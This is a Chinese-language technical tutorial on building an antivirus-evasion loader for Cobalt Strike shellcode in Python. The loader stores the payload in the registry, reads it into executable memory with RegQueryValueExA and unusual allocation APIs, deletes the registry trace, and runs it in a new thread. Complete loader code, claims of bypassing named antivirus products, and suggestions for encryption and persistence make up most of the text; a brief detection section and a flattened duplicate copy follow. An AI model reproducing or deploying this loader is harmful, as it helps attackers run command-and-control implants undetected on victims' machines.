CS免杀-RegQueryValueExA加载器
字数 1594 2025-08-09 18:44:03

基于RegQueryValueExA的CS免杀加载器技术详解

一、技术原理概述

本技术利用Windows注册表存储二进制数据的能力,通过API函数操作注册表实现Shellcode的存储和读取,最终在内存中执行,绕过传统杀毒软件的检测。

核心思路:

  1. 将Shellcode写入注册表(HKLM_CURRENT_USER)
  2. 使用RegQueryValueExA读取注册表中的Shellcode
  3. 将读取的内容存入申请的内存空间
  4. 创建线程执行内存中的Shellcode

二、关键API函数详解

1. RegSetValueExA

功能:设置注册表项下指定值的数据和类型

函数原型

LSTATUS RegSetValueExA(
  HKEY    hKey,
  LPCSTR  lpValueName,
  DWORD   Reserved,
  DWORD   dwType,
  const BYTE *lpData,
  DWORD   cbData
);

参数说明

  • hKey:注册表键句柄,HKLM_CURRENT_USER对应值为-2147483647
  • lpValueName:要设置的值名称
  • Reserved:保留参数,设为None或0
  • dwType:值类型,REG_BINARY(3)表示二进制数据
  • lpData:要写入的数据(Shellcode)
  • cbData:数据长度

Python调用示例

ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf, len(buf))

2. RegQueryValueExA

功能:检索注册表项关联的指定值名称的类型和数据

函数原型

LSTATUS RegQueryValueExA(
  HKEY    hKey,
  LPCSTR  lpValueName,
  LPDWORD lpReserved,
  LPDWORD lpType,
  LPBYTE  lpData,
  LPDWORD lpcbData
);

参数说明

  • hKey:注册表键句柄
  • lpValueName:要查询的值名称
  • lpReserved:保留参数,设为0
  • lpType:接收值类型,设为None表示不需要
  • lpData:接收数据的缓冲区指针
  • lpcbData:输入时为缓冲区大小,输出时为实际数据大小

Python调用流程

  1. 先查询数据长度
  2. 再读取实际数据
data_len = DWORD()
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, None, ptr, byref(data_len))

3. 内存操作相关API

VirtualAlloc

LPBYTE = POINTER(c_byte)
ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTE
ptr = ctypes.windll.kernel32.VirtualAlloc(0, 800, 0x3000, 0x40)

AllocADsMem(替代方案):

ctypes.windll.Activeds.AllocADsMem.restype = LPBYTE
ptr = ctypes.windll.Activeds.AllocADsMem(len(buf))

ReallocADsMem(替代方案):

ctypes.windll.Activeds.ReallocADsMem.restype = LPBYTE
ptr = ctypes.windll.Activeds.ReallocADsMem(0, len(buf), len(buf))

4. 执行相关API

VirtualProtect

ctypes.windll.kernel32.VirtualProtect(ptr, len(buf), 0x40, ctypes.byref(ctypes.c_long(1)))

CreateThread

handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, ctypes.pointer(ctypes.c_int(0)))

WaitForSingleObject

ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

三、完整实现流程

1. 准备工作

import ctypes
from ctypes import *
from ctypes.wintypes import *

# Shellcode示例(实际使用时替换为CS生成的Shellcode)
buf = b"\xfc\x48..."

2. 写入注册表

ctypes.windll.Advapi32.RegSetValueExA(-2147483647, "test", None, 3, buf, len(buf))

3. 申请内存

# 方法1:使用VirtualAlloc
LPBYTE = POINTER(c_byte)
ctypes.windll.kernel32.VirtualAlloc.restype = LPBYTE
ptr = ctypes.windll.kernel32.VirtualAlloc(0, 800, 0x3000, 0x40)

# 方法2:使用AllocADsMem(绕过检测)
# ctypes.windll.Activeds.AllocADsMem.restype = LPBYTE
# ptr = ctypes.windll.Activeds.AllocADsMem(len(buf))

# 方法3:使用ReallocADsMem(绕过检测)
# ctypes.windll.Activeds.ReallocADsMem.restype = LPBYTE
# ptr = ctypes.windll.Activeds.ReallocADsMem(0, len(buf), len(buf))

4. 读取注册表内容到内存

data_len = DWORD()
# 第一次调用获取数据长度
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, 0, 0, byref(data_len))
# 第二次调用读取实际数据
ctypes.windll.Advapi32.RegQueryValueExA(-2147483647, "test", 0, None, ptr, byref(data_len))

5. 清理注册表痕迹

ctypes.windll.Advapi32.RegDeleteValueA(-2147483647, "test")

6. 执行Shellcode

# 设置内存保护属性
ctypes.windll.kernel32.VirtualProtect(ptr, len(buf), 0x40, ctypes.byref(ctypes.c_long(1)))

# 创建线程执行
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, ctypes.pointer(ctypes.c_int(0)))

# 等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

四、技术优势与绕过原理

  1. 注册表存储:将Shellcode存储在注册表中,避免直接出现在脚本或文件中
  2. 内存操作:使用非常规内存分配函数(如AllocADsMem)绕过内存检测
  3. API调用链:使用注册表操作API作为加载器,非传统Shellcode加载方式
  4. 动态加载:运行时才从注册表读取Shellcode,静态分析难以检测
  5. 痕迹清理:执行后立即删除注册表项,减少被发现的风险

五、防御与检测建议

  1. 注册表监控:监控HKLM_CURRENT_USER下的异常二进制值创建
  2. API调用序列检测:关注RegSetValueExA+RegQueryValueExA+CreateThread的调用链
  3. 内存保护检测:检测频繁修改内存保护属性的行为
  4. 非常规内存分配检测:关注AllocADsMem/ReallocADsMem等非常规内存分配函数的使用
  5. 注册表操作白名单:对关键注册表路径的操作进行限制

六、扩展思路

  1. 多段存储:将Shellcode分段存储在多个注册表值中,运行时合并
  2. 加密存储:在注册表中存储加密的Shellcode,运行时解密
  3. 延迟加载:先写入注册表,后续通过计划任务等方式触发加载
  4. 结合其他技术:与UUID、MAC、IPv4等加载器技术结合使用
  5. 持久化:将加载器设置为启动项实现持久化

七、注意事项

  1. 测试环境为Python 2.7,需使用CS生成的64位Shellcode
  2. 实际测试可绕过火绒、360等杀毒软件
  3. 不同Windows版本可能需要调整注册表操作权限
  4. 确保Shellcode长度不超过注册表值大小限制
  5. 操作完成后务必清理注册表痕迹
基于RegQueryValueExA的CS免杀加载器技术详解 一、技术原理概述 本技术利用Windows注册表存储二进制数据的能力,通过API函数操作注册表实现Shellcode的存储和读取,最终在内存中执行,绕过传统杀毒软件的检测。 核心思路: 将Shellcode写入注册表(HKLM_ CURRENT_ USER) 使用RegQueryValueExA读取注册表中的Shellcode 将读取的内容存入申请的内存空间 创建线程执行内存中的Shellcode 二、关键API函数详解 1. RegSetValueExA 功能 :设置注册表项下指定值的数据和类型 函数原型 : 参数说明 : hKey :注册表键句柄,HKLM_ CURRENT_ USER对应值为-2147483647 lpValueName :要设置的值名称 Reserved :保留参数,设为None或0 dwType :值类型,REG_ BINARY(3)表示二进制数据 lpData :要写入的数据(Shellcode) cbData :数据长度 Python调用示例 : 2. RegQueryValueExA 功能 :检索注册表项关联的指定值名称的类型和数据 函数原型 : 参数说明 : hKey :注册表键句柄 lpValueName :要查询的值名称 lpReserved :保留参数,设为0 lpType :接收值类型,设为None表示不需要 lpData :接收数据的缓冲区指针 lpcbData :输入时为缓冲区大小,输出时为实际数据大小 Python调用流程 : 先查询数据长度 再读取实际数据 3. 内存操作相关API VirtualAlloc : AllocADsMem (替代方案): ReallocADsMem (替代方案): 4. 执行相关API VirtualProtect : CreateThread : WaitForSingleObject : 三、完整实现流程 1. 准备工作 2. 写入注册表 3. 申请内存 4. 读取注册表内容到内存 5. 清理注册表痕迹 6. 执行Shellcode 四、技术优势与绕过原理 注册表存储 :将Shellcode存储在注册表中,避免直接出现在脚本或文件中 内存操作 :使用非常规内存分配函数(如AllocADsMem)绕过内存检测 API调用链 :使用注册表操作API作为加载器,非传统Shellcode加载方式 动态加载 :运行时才从注册表读取Shellcode,静态分析难以检测 痕迹清理 :执行后立即删除注册表项,减少被发现的风险 五、防御与检测建议 注册表监控 :监控HKLM_ CURRENT_ USER下的异常二进制值创建 API调用序列检测 :关注RegSetValueExA+RegQueryValueExA+CreateThread的调用链 内存保护检测 :检测频繁修改内存保护属性的行为 非常规内存分配检测 :关注AllocADsMem/ReallocADsMem等非常规内存分配函数的使用 注册表操作白名单 :对关键注册表路径的操作进行限制 六、扩展思路 多段存储 :将Shellcode分段存储在多个注册表值中,运行时合并 加密存储 :在注册表中存储加密的Shellcode,运行时解密 延迟加载 :先写入注册表,后续通过计划任务等方式触发加载 结合其他技术 :与UUID、MAC、IPv4等加载器技术结合使用 持久化 :将加载器设置为启动项实现持久化 七、注意事项 测试环境为Python 2.7,需使用CS生成的64位Shellcode 实际测试可绕过火绒、360等杀毒软件 不同Windows版本可能需要调整注册表操作权限 确保Shellcode长度不超过注册表值大小限制 操作完成后务必清理注册表痕迹